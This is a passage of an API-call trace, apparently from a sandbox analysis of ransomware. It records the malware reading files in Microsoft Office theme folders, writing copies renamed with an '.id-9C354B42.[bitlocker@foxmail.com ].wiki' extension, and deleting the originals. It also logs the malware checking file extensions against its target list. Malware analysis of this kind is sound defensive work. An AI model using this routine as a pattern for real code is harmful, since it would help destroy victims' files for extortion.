Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0054.531] lstrlenW (lpString=".zip") returned 4 [0054.531] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.531] lstrlenW (lpString=".rar") returned 4 [0054.531] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.531] lstrlenW (lpString=".bz2") returned 4 [0054.531] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.531] lstrlenW (lpString=".7z") returned 3 [0054.531] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0054.531] lstrlenW (lpString=".dbf") returned 4 [0054.531] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0054.531] lstrlenW (lpString=".1cd") returned 4 [0054.531] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0054.531] lstrlenW (lpString=".jpg") returned 4 [0054.531] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.532] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0054.532] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.532] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=19525) returned 1 [0054.532] CloseHandle (hObject=0x20c) returned 1 [0054.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0054.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.533] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.533] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0054.533] GetLastError () returned 0x0 [0054.533] ReadFile (in: hFile=0x20c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x4c45, lpOverlapped=0x0) returned 1 [0054.535] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x4c50, lpOverlapped=0x0) returned 1 [0054.536] ReadFile (in: hFile=0x20c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.536] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.537] SetEndOfFile (hFile=0x180) returned 1 [0054.537] CloseHandle (hObject=0x180) returned 1 [0054.537] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.537] SetEndOfFile (hFile=0x20c) returned 1 [0054.538] CloseHandle (hObject=0x20c) returned 1 [0054.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.538] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 1 [0054.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0054.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0054.538] lstrlenW (lpString=".doc") returned 4 [0054.538] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.538] lstrlenW (lpString=".docx") returned 5 [0054.538] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.538] lstrlenW (lpString=".pdf") returned 4 [0054.538] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.538] lstrlenW (lpString=".xls") returned 4 [0054.538] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.538] lstrlenW (lpString=".xlsx") returned 5 [0054.538] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.739] lstrlenW (lpString=".ppt") returned 4 [0054.739] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0054.739] lstrlenW (lpString=".zip") returned 4 [0054.739] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.739] lstrlenW (lpString=".rar") returned 4 [0054.739] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.739] lstrlenW (lpString=".bz2") returned 4 [0054.740] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.740] lstrlenW (lpString=".7z") returned 3 [0054.740] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0054.740] lstrlenW (lpString=".dbf") returned 4 [0054.740] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0054.740] lstrlenW (lpString=".1cd") returned 4 [0054.740] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0054.740] lstrlenW (lpString=".jpg") returned 4 [0054.740] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0054.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0054.740] lstrlenW (lpString=".doc") returned 4 [0054.740] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.740] lstrlenW (lpString=".docx") returned 5 [0054.740] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.740] lstrlenW (lpString=".pdf") returned 4 [0054.740] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.740] lstrlenW (lpString=".xls") returned 4 [0054.740] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.740] lstrlenW (lpString=".xlsx") returned 5 [0054.740] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.740] lstrlenW (lpString=".ppt") returned 4 [0054.740] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0054.740] lstrlenW (lpString=".zip") returned 4 [0054.740] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.740] lstrlenW (lpString=".rar") returned 4 [0054.740] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.740] lstrlenW (lpString=".bz2") returned 4 [0054.740] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.740] lstrlenW (lpString=".7z") returned 3 [0054.740] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0054.741] lstrlenW (lpString=".dbf") returned 4 [0054.741] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0054.741] lstrlenW (lpString=".1cd") returned 4 [0054.741] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0054.741] lstrlenW (lpString=".jpg") returned 4 [0054.741] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.741] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0054.741] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0054.880] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=33479) returned 1 [0054.881] CloseHandle (hObject=0x21c) returned 1 [0054.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0054.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0054.881] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.881] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0054.881] GetLastError () returned 0x0 [0054.881] ReadFile (in: hFile=0x21c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x82c7, lpOverlapped=0x0) returned 1 [0055.041] WriteFile (in: hFile=0x220, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x82d0, lpOverlapped=0x0) returned 1 [0055.042] ReadFile (in: hFile=0x21c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.042] WriteFile (in: hFile=0x220, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.042] SetEndOfFile (hFile=0x220) returned 1 [0055.042] CloseHandle (hObject=0x220) returned 1 [0055.043] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.043] SetEndOfFile (hFile=0x21c) returned 1 [0055.044] CloseHandle (hObject=0x21c) returned 1 [0055.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.044] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1 [0055.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.044] lstrlenW (lpString=".doc") returned 4 [0055.044] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.044] lstrlenW (lpString=".docx") returned 5 [0055.044] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.044] lstrlenW (lpString=".pdf") returned 4 [0055.044] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.044] lstrlenW (lpString=".xls") returned 4 [0055.044] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.044] lstrlenW (lpString=".xlsx") returned 5 [0055.044] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.044] lstrlenW (lpString=".ppt") returned 4 [0055.044] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.044] lstrlenW (lpString=".zip") returned 4 [0055.044] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.044] lstrlenW (lpString=".rar") returned 4 [0055.044] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.045] lstrlenW (lpString=".bz2") returned 4 [0055.045] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.045] lstrlenW (lpString=".7z") returned 3 [0055.045] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.045] lstrlenW (lpString=".dbf") returned 4 [0055.045] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.045] lstrlenW (lpString=".1cd") returned 4 [0055.045] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.045] lstrlenW (lpString=".jpg") returned 4 [0055.045] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.045] lstrlenW (lpString=".doc") returned 4 [0055.045] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.045] lstrlenW (lpString=".docx") returned 5 [0055.045] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.045] lstrlenW (lpString=".pdf") returned 4 [0055.045] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.045] lstrlenW (lpString=".xls") returned 4 [0055.045] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.045] lstrlenW (lpString=".xlsx") returned 5 [0055.045] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.045] lstrlenW (lpString=".ppt") returned 4 [0055.045] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.045] lstrlenW (lpString=".zip") returned 4 [0055.045] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.045] lstrlenW (lpString=".rar") returned 4 [0055.045] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.045] lstrlenW (lpString=".bz2") returned 4 [0055.045] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.045] lstrlenW (lpString=".7z") returned 3 [0055.046] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.046] lstrlenW (lpString=".dbf") returned 4 [0055.046] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.046] lstrlenW (lpString=".1cd") returned 4 [0055.046] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.046] lstrlenW (lpString=".jpg") returned 4 [0055.046] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.046] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0055.046] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0055.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.071] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=18380) returned 1 [0055.071] CloseHandle (hObject=0x220) returned 1 [0055.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0055.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.071] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.072] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.072] GetLastError () returned 0x0 [0055.072] ReadFile (in: hFile=0x220, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x47cc, lpOverlapped=0x0) returned 1 [0055.088] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x47d0, lpOverlapped=0x0) returned 1 [0055.089] ReadFile (in: hFile=0x220, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.089] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.089] SetEndOfFile (hFile=0x218) returned 1 [0055.089] CloseHandle (hObject=0x218) returned 1 [0055.090] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.090] SetEndOfFile (hFile=0x220) returned 1 [0055.090] CloseHandle (hObject=0x220) returned 1 [0055.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.091] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1 [0055.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0055.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0055.091] lstrlenW (lpString=".doc") returned 4 [0055.091] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.091] lstrlenW (lpString=".docx") returned 5 [0055.091] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.091] lstrlenW (lpString=".pdf") returned 4 [0055.091] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.091] lstrlenW (lpString=".xls") returned 4 [0055.091] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.091] lstrlenW (lpString=".xlsx") returned 5 [0055.091] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.091] lstrlenW (lpString=".ppt") returned 4 [0055.091] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0055.091] lstrlenW (lpString=".zip") returned 4 [0055.091] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.091] lstrlenW (lpString=".rar") returned 4 [0055.091] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.091] lstrlenW (lpString=".bz2") returned 4 [0055.091] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.091] lstrlenW (lpString=".7z") returned 3 [0055.092] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0055.092] lstrlenW (lpString=".dbf") returned 4 [0055.092] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0055.092] lstrlenW (lpString=".1cd") returned 4 [0055.092] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0055.092] lstrlenW (lpString=".jpg") returned 4 [0055.092] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0055.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0055.092] lstrlenW (lpString=".doc") returned 4 [0055.092] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.092] lstrlenW (lpString=".docx") returned 5 [0055.092] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.092] lstrlenW (lpString=".pdf") returned 4 [0055.092] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.092] lstrlenW (lpString=".xls") returned 4 [0055.092] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.092] lstrlenW (lpString=".xlsx") returned 5 [0055.092] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.092] lstrlenW (lpString=".ppt") returned 4 [0055.092] lstrcmpiW (lpString1=".ppt", 